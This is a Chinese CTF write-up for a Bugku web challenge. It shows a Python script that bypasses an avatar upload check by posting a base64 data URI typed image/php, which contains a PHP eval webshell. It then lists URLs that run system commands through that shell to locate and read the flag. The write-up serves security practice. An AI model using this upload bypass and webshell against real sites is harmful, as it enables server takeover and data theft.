本文主要是介绍Bugku-xxx二手交易市场-ctf练习(不用菜刀蚁剑),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
题目
xxx二手交易市场
描 述: 本人现实碰到的题目,无提示勿问
(这次题目比较牛逼,感觉实战性非常强。。。也挺有难度的)
首先分析一波
突然给我们这么一个网站,那就随便先点点看吧,看到id=的时候dna就动了感觉可能要注入,试了试发现不太行,决定先换个思路,再吸引到我的是注册
注册并且登录之后可以打开个人中心
思路来了,可能能通过图片一句话木马获得shell
然后破解一波
先随便上传一张图片抓个包
这就找到了提交表单的url:http://114.67.246.176:17576/user/upload
接着看到这一行
上传image文件的content-type可以是image/*
接着放一波技能
我们就上传一个image/php方便我们获得shell
import requests
url='http://114.67.246.176:17576//user//upload'
head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0','Cookie': 'PHPSESSID=8e5042eb614c4fdb694a293e3355764e; Hm_lvt_c1b044f909411ac4213045f0478e96fc=1626231295; _ga=GA1.1.72381211.1626231295','Referer': 'http://114.67.246.176:17576/user'
}
mydata={'image':'data:image/php;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7ID8+'}
html=requests.post(url,headers=head,data=mydata).text
with open('练习.html','w') as f:f.write(html)
这里获得一个html文件是为了获得返回的页面,也就是看是否文件上传成功
post的内容是根据抓包得到的数据制定的,data:image/php;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7ID8+ 后面这一部分是base64编码
解码后其实是帮我们获得shell的一句话木马:<?php @eval($_REQUEST['cmd']); ?>
上传成功就会得到这样的页面
下面审查元素得到我们php文件的路径
构造链接查看当前路径
http://114.67.246.176:17576//Uploads//heads//ac503144f38620a5.php?cmd=system(%27pwd%27);
得到:
逐级跳转查看找flag
http://114.67.246.176:17576//Uploads//heads//ac503144f38620a5.php?cmd=system(%27cd …/;ls%27);
第三个根目录的时候找到了flag
http://114.67.246.176:17576//Uploads//heads//ac503144f38620a5.php?cmd=system(%27cd%20…/…/…/;cat%20flag%27);
或者直接
http://114.67.246.176:17576//Uploads//heads//ac503144f38620a5.php?cmd=system(%27find%20/%20-name%20flag%27);
学不会了太难了
这篇关于Bugku-xxx二手交易市场-ctf练习(不用菜刀蚁剑)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!